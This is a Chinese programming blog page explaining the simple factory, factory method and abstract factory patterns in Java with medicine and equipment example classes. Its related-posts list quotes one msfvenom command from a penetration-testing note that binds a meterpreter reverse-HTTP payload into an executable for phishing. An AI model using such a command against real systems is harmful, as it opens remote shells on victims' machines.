Java工厂模式

【设计模式】基于 Java 语言实现工厂模式 简单⼯⼚模式是⼀种创建型设计模式,但并不属于23种设计模式之⼀,更多的是⼀种编程习惯。将产品的创建过程封装在⼀个⼯⼚类中,把创建对象的流程集中在这个⼯⼚类⾥⾯。简单⼯⼚模式的角色:描述产品的通⽤⾏为,通常由一个 Java 接口或一个 Java 抽象类定义。具体产品:实现抽象产品接⼝或继承抽象产品类。负责创建产品,根据传递的不同参数创建不同的产品示例。 阅读详情

首先先看一下抽象产品和具体产品类(Product)


药品类

package com;

/**
 * 药品
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public abstract class Medicine {
    public abstract void getName();
    public abstract void getNum();
}

西药类

package com;

/**
 * 西药
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class XMedicine extends Medicine {
    @Override
    public void getName() {
        System.out.println("我是西药");
    }

    @Override
    public void getNum() {
        System.out.println("西药的数量为2");
    }
}

中药类

package com;

/**
 * 中药
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class ZMedicine extends Medicine {
    @Override
    public void getName() {
        System.out.println("我是中药");
    }

    @Override
    public void getNum() {
        System.out.println("中药的数量为2");
    }
}

仪器类

package com;

/**
 * 仪器
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public abstract class Machine {
    public abstract void getName();
    public abstract void getNum();
}

西药仪器类

package com;

/**
 * 西药仪器
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class XMachine extends Machine{
    @Override
    public void getName() {
        System.out.println("我是西药仪器");
    }

    @Override
    public void getNum() {
        System.out.println("西药仪器的数量为3");
    }
}

中药仪器类

package com;

/**
 * 中药仪器
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class ZMachine extends Machine{
    @Override
    public void getName() {
        System.out.println("我是中药仪器");
    }

    @Override
    public void getNum() {
        System.out.println("中药仪器的数量为3");
    }
}

1、简单工厂模式

工厂类

package com.design;

import com.XMedicine;
import com.ZMedicine;

/**
 * 简单工厂类
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class Factory {

    public static XMedicine xNewInstance() {
        return new XMedicine();
    }

    public static ZMedicine zNewInstance() {
        return new ZMedicine();
    }
}

测试类

package com.design;

import com.XMedicine;
import com.ZMedicine;

/**
 * 简单工厂测试类
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class FactoryTest {
    public static void main(String[] arg) {
        XMedicine xMedicine = Factory.xNewInstance();
        ZMedicine zMedicine = Factory.zNewInstance();

        xMedicine.getName();
        xMedicine.getNum();
        zMedicine.getNum();
        zMedicine.getName();
    }
}

2、工厂方法模式

抽象工厂类

package com.design1;

import com.Medicine;

/**
 * description
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public abstract class Factory {
    public abstract Medicine newInstance();
}

西药工厂类

package com.design1;

import com.Medicine;
import com.XMedicine;

/**
 * description
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class XMedicineFactory extends Factory{
    @Override
    public Medicine newInstance() {
        return new XMedicine();
    }
}

中药工厂类

package com.design1;

import com.Medicine;
import com.ZMedicine;

/**
 * description
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class ZMedicineFactory extends Factory{
    @Override
    public Medicine newInstance() {
        return new ZMedicine();
    }
}

测试类

package com.design1;

import com.Medicine;

/**
 * 工厂方法测试类
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class FactoryMethodTest {

    public static void main(String[] arg) {
        XMedicineFactory xMedicineFactory = new XMedicineFactory();
        Medicine xMedicine = xMedicineFactory.newInstance();
        xMedicine.getName();
        xMedicine.getNum();

        ZMedicineFactory zMedicineFactory = new ZMedicineFactory();
        Medicine zMedicine = zMedicineFactory.newInstance();
        zMedicine.getNum();
        zMedicine.getName();
    }
}

3、抽象工厂模式

抽象工厂类

package com.design2;

import com.Machine;
import com.Medicine;

/**
 * description
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public abstract class Factory {
    public abstract Medicine medicineNewInstance();
    public abstract Machine machineNewInstance();
}

西药工厂类

package com.design2;

import com.Machine;
import com.Medicine;
import com.XMachine;
import com.XMedicine;

/**
 * description
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class XMedicineFactory extends Factory{
    @Override
    public Medicine medicineNewInstance() {
        return new XMedicine();
    }

    @Override
    public Machine machineNewInstance() {
        return new XMachine();
    }
}

中药工厂类

package com.design2;

import com.Machine;
import com.Medicine;
import com.ZMachine;
import com.ZMedicine;

/**
 * description
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class ZMedicineFactory extends Factory{
    @Override
    public Medicine medicineNewInstance() {
        return new ZMedicine();
    }

    @Override
    public Machine machineNewInstance() {
        return new ZMachine();
    }
}

测试类

package com.design2;

import com.Machine;
import com.Medicine;

/**
 * 抽象工厂方法测试类
 *
 * @author ZHANGHAOHAO089
 * @date 2017/12/13
 */

public class AbstractFactoryTest {
    public static void main(String[] arg) {
        ZMedicineFactory zMedicineFactory = new ZMedicineFactory();
        Medicine zMedicine = zMedicineFactory.medicineNewInstance();
        Machine zMachine = zMedicineFactory.machineNewInstance();
        zMedicine.getName();
        zMedicine.getNum();
        zMachine.getName();
        zMachine.getNum();

        XMedicineFactory xMedicineFactory = new XMedicineFactory();
        Medicine xMedicine = xMedicineFactory.medicineNewInstance();
        Machine xMachine = xMedicineFactory.machineNewInstance();
        xMedicine.getName();
        xMedicine.getNum();
        xMachine.getName();
        xMachine.getNum();
    }
}

小结:
1、简单工厂模式:只是简单的生产产品,当有额外的产品需要生产,必须修改工厂类。扩展比较繁琐,后期代码比较混乱。
2、工厂方法模式:根据不同的产品,有自己的具体工厂实现类,当有额外的产品需要生产,只需要增加新工厂即可,易扩展。
3、抽象工厂模式:针对多个相似的厂生产多个相似的产品,有产品群的概念。工厂方法是单一的产品。

JAVA编程【设计模式之工厂模式】 工厂模式(Factory Pattern)是一种创建对象的设计模式,它通过隐藏实例化逻辑,使代码更加松耦合、易维护。工厂模式属于创建型设计模式,主要用于解耦对象的创建过程。 阅读详情

相关推荐

Java 工厂模式

Java 简单工厂模式

两行代码 踏踏实实de工作 1万+

Java实现简单工厂模式

1.3 代码规范 如果你想做一个计算器的话,是怎样操作的 C#实现的。和Java语法差不多 1.8 业务封装 采用面向对象思想将业务计算逻辑和界面逻辑分开。 Operation类 这个只是运用了面向对象的封装。下面是实现继承和多态。 继承: public class Operation { private double numberA; priva...

拓拓的博客 3114

【渗透测试笔记】之【钓鱼姿势——exe捆绑与免杀】

准备被捆绑程序: 输入:msfvenom -p windows/meterpreter/reverse_http lhost=x.x.x.x lport=55555 -e x86/shikata_ga_nai -i 15 -f exe -b '\x00\x0a\x0d' -x ~/Desktop/inst.exe > ~/Desktop/Trojan/test_msf_360.exe 目标主机执行,成功上线: ...

AA8j的博客 7648

Java设计模式-工厂模式

介绍简单工厂模式,工厂方法模式,抽象工厂模式。

m0_62946761的博客 6566

【虚幻引擎】UE4初学者系列教程基础篇-全中文新手入门教程(UE5系列继续更新)

菜单栏菜单栏当中有文件、编辑、窗口帮助。文件当中可以进行一个关卡的新建、关卡的打开、关卡的保存还有就是打包项目,(项目大于关卡,项目里面可能有几百个关卡),这是比较常用的几个,这里可以看到打包当中有安卓端HTML5端,IOS端linux,还有就是TVOS(苹果电视)、windows的一些端口的一些设置。还可以打开最近打开的项目。关卡编辑器:工具栏3.3 “模式”面板保存所有:ctrl+shift+s(有的软件截屏也是这个按键需要注意)3.4 “内容浏览器”面板缩放:ctr+鼠标滚轮3.5.视口面板。

qq_45206556的博客 2万+

内网环境下的高德地图离线化实战:从瓦片下载到交互功能集成

本文详细介绍了在内网环境中部署离线高德地图的完整实战方案。针对军工、能源、金融等对网络隔离与数据安全有严格要求的场景,文章核心解决了离线地图的两大基石:地图瓦片数据的高效下载与本地化,以及高德地图JS API的获取与插件集成。通过具体代码示例,进一步讲解了如何实现地图初始化、海量点标注与聚合、自定义图标及框选查询等核心交互功能,并分享了内网部署的路径配置、性能优化及法律合规等关键注意事项,为开发者在封闭网络环境下构建稳定、可控的地图应用提供了清晰指南。

Apple的专栏 394

Java工厂模式(随笔)

三大工厂都是哪些?简单工厂模式工厂模式抽象工厂模式特殊工厂都是哪些?容器工厂模式超级工厂模式准确的来说工厂模式一共只有三种;但在我们程序员这里不止三种,还有两种,我们把它叫 ‘容器工厂模式’ 和 ‘超级工厂模式为什么它们没有增加到三大模式呢?因为它们都是基于‘简单工厂模式’扩展开辟出来的,解决了简单工厂模式存在违反开闭原则等弊端。Java简单工厂模式是一种创建型设计模式,它提供了一个工厂类,用于根据传入的参数来决定创建哪种类的实例;

是个非常热爱生活、乐观、奋斗、努力的逗比青年 6574

FSMC驱动LCD显示屏学习2

液晶显示器,简称 LCD(Liquid Crystal Display)相对于上一代 CRT 显示器 (阴极射线管显示器),LCD显示器具有功耗低、体积小、承载的信息量大及不伤眼的优点,因而它成为了现在的主流电子显示设备液晶是一种介于固体和液体之间的特殊物质,它是一种有机化合物,常态下呈液态,但是它的分 子排列却和固体晶体一样非常规则,因此取名液晶。

usjjjsj的博客 1695

【Java设计模式】——工厂模式

在Java应用程序中对象无处不在,这些对象都需要进行创建,如果创建的时候直接new对象,那么如果我们要更换对象,所有new对象的地方都需要进行更改。违背了软件设计原则中的开闭原则。如果我们使用工厂生产对象,只需要在工厂中关注对象的改变即可,达到了与对象解耦的目的,工厂模式最大的特点就是解耦合,本文将介绍工厂模式的四种实现方式

雪月清的博客 2088

Python爬虫之爬取并下载哔哩哔哩视频

它可以爬取并下载视频文件和音频文件!亲自使用过,太好用了。

2301_80124151的博客 3万+

【AI蛋白预测实战】零门槛在Colab上运行AlphaFold2全流程解析

本文为零基础用户提供了在谷歌Colab平台上运行AlphaFold2进行蛋白质结构预测的完整实战指南。通过ColabFold项目,用户无需本地高性能硬件,即可免费利用云端GPU完成从序列输入到3D结构生成和结果可视化的全流程,大幅降低了AI蛋白预测的技术门槛。

mqtt6iot的博客 912

java工厂模式实例(设计模式)

java工厂模式 开篇声明,此理解为作者自身理解,不一定正确,如有错误请大佬们指正。 工厂模式,在作者看来,从现实生活来说,就是一个工厂,里面有N个车间, 每个车间会生产不同的产品,而租户只需要告诉这个工厂的老板我需要一个 什么产品,老板会去找到对应的车间返回给租户使用。 画个图理解: 如果使用java语言来描述则是,对具有相同动作,不同动作执行过程的一 类方法抽象出一个接口类,然后不同的实现类对接口类中的接口进行不同的 实现,并且编写一个工厂类,根据传入获取不同的实现类实例返回给调用者

liu649983697的专栏 9846

Dify 本地插件安装失败?别慌,这篇教程手把手教你解决(解决 the plugin you want to install has a bad signature 报错的问题)

🤯dify安装本地插件报错 PluginDaemonBadRequestError: plugin verification has been enabled, and the plugin you want to install has a bad signature。的解决方案!

XiaoqiangClub的博客 3984

Java 工厂模式详解

在软件开发中,对象的创建是一个基本操作。但直接在代码中使用 关键字创建对象会导致代码耦合度高、可维护性差。工厂模式(Factory Pattern)作为一种创建型设计模式,能有效解决这些问题。本文将深入探讨 Java 中的工厂模式,通过实例展示其实现方式、优势及适用场景。工厂模式的核心思想是:将对象的创建和使用分离,把对象创建逻辑封装在一个工厂类中,从而提高代码的可维护性和可扩展性。工厂模式主要分为三种类型:简单工厂模式是工厂模式的基础版本,它定义了一个工厂类来创建产品对象。抽象产品 角色具体产品 角色工

m0_73941339的博客 2004

YOLOv11知识蒸馏实战:让小模型拥有大模型90%精度,速度提升3倍的终极教程

在self.alpha = alpha # 蒸馏损失权重self.temperature = temperature # 温度系数,控制分布平滑度# 输出分布蒸馏(KL散度损失)# 中间特征蒸馏(MSE损失,对齐中间层特征)# 总蒸馏损失知识蒸馏是YOLOv11在“小模型高性能部署”场景的“破局之法”——它让小模型能“站在大模型的肩膀上”,兼具速度与精度。从损失函数定义到多阶段训练,再到实战落地,本教程已为你铺就了一条清晰的路径。

m0_64661770的博客 801

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

JAVA设计模式之工厂模式

JAVA设计模式之工厂模式,包括简单工厂、工厂方法、抽象工厂

qq_50801874的博客 2346

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

JAVA 工厂模式总结

简单工厂模式是一种创建型设计模式,它提供了一个静态方法(或其他静态机制)来封装对象的创建过程,客户端只需要传入相应的参数,就可以获取到所需要的对象实例,而无需关心具体的创建细节。定义一个用于创建对象的接口,让子类决定实例化哪一个类。Factory Method 使一个类的实例化延迟到其子类。抽象工厂模式是一种为访问一系列相互关联或相互依赖的对象提供一个接口,而无需指定它们具体的类。在抽象工厂模式中,有一个抽象工厂接口定义了创建产品对象的操作接口,但由子类来决定实例化哪一个类。

青年有志 1493

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

java 工厂模式

今天看了一篇文章,是讲java的开发模式 于是转载了一下 Java工厂模式 看了这么多关于工厂模式的讲解,还是觉得这篇文章讲的好理解,贴出来和大家分享分享。 一、引子 话说十年前,有一个****户,他家有三辆汽车——Benz奔驰、Bmw宝马、Audi奥迪,还雇了司机为他开车。不过,户坐车时总是怪怪的:上Benz车后跟司机说“开奔驰车!”,坐上Bmw后他说“开宝马车!”,坐上Audi说“开奥迪车!”...

不言尘世 886

Java设计模式:工厂模式之简单工厂、工厂方法、抽象工厂(三)

在软件设计中,工厂模式是一种常见的设计模式,它提供了一种创建对象的最佳方式。通过工厂模式,我们可以将对象的创建逻辑与使用逻辑分离,降低代码的耦合度,提高系统的可扩展性和可维护性。Java作为一种面向对象的编程语言,自然也支持工厂模式的实现。接下来,我们将详细介绍Java中工厂模式的多种实现方式。

码到三十五 6020

Java设计模式:工厂模式(简单工厂模式、工厂方法模式、抽象工厂模式)

在工厂模式中,通常会定义一个抽象工厂接口,该接口声明了创建对象的方法,具体的工厂类实现了这个接口,并负责实际创建对象的过程。客户端代码通过使用工厂接口来创建对象,而不直接使用new关键字实例化对象,从而实现对象创建和使用的解耦。简单工厂模式(Simple Factory)工厂方法模式(Factory Method)抽象工厂模式(Abstract Factory)这三种模式从上到下逐步抽象,并且更具一般性。

Java技术一点通 2743

什么java工厂模式_java的三种工厂模式是什么?

java的三种工厂模式:1、简单工厂模式,提供一个创建对象实例的功能,而无须关心其具体实现;2、工厂方法模式;3、抽象工厂模式,提供一个创建一系列相关或相互依赖对象的接口,无须指定它们具体的类。一、简单工厂模式简单工厂的定义:提供一个创建对象实例的功能,而无须关心其具体实现。被创建实例的类型可以是接口、抽象类,也可以是具体的类实现汽车接口public interface Car {String g...

weixin_42416119的博客 1821

Java设计模式——工厂模式

工厂模式(Factory Pattern)是 Java 中最常用的设计模式之一。这种类型的设计模式属于创建型模式,它提供了一种`创建对象`的最佳方式。在工厂模式中,我们在创建对象时`不会对客户端暴露创建逻辑`。工厂模式一般分为三种:`简单工厂模式`、`工厂方法模式`、`抽象工厂模式`。...

怪咖@的博客 3633
上一篇: 数组a,长度为n(索引为0至n-1)。现要求更新数组的各个元素,使新数组的第i个元素等于原数组中除第i个元素之外各元素之积
下一篇: 单例模式
豪豪6
博客等级 码龄14年 6粉丝 35原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值